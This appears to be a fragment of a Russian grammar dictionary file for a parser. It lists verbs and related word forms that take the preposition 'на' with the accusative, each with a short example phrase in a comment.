rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
rus_verbs:показывать{}, // Стрелка компаса всегда показывает на север.
rus_verbs:сохранить{}, // Сохраните это на память обо мне.
rus_verbs:уезжать{}, // Сейчас все студенты уезжают на экскурсию.
rus_verbs:лететь{}, // Самолёт летит на север.
rus_verbs:бить{}, // Ружьё бьёт на пятьсот метров.
// rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:вынести{}, // Они вынесли из лодки на берег все вещи.
rus_verbs:смотреть{}, // Она смотрит на нас из окна.
rus_verbs:отдать{}, // Она отдала мне деньги на сохранение.
rus_verbs:налюбоваться{}, // Не могу налюбоваться на картину.
rus_verbs:любоваться{}, // гости любовались на картину
rus_verbs:попробовать{}, // Дайте мне попробовать на ощупь.
прилагательное:действительный{}, // Прививка оспы действительна только на три года.
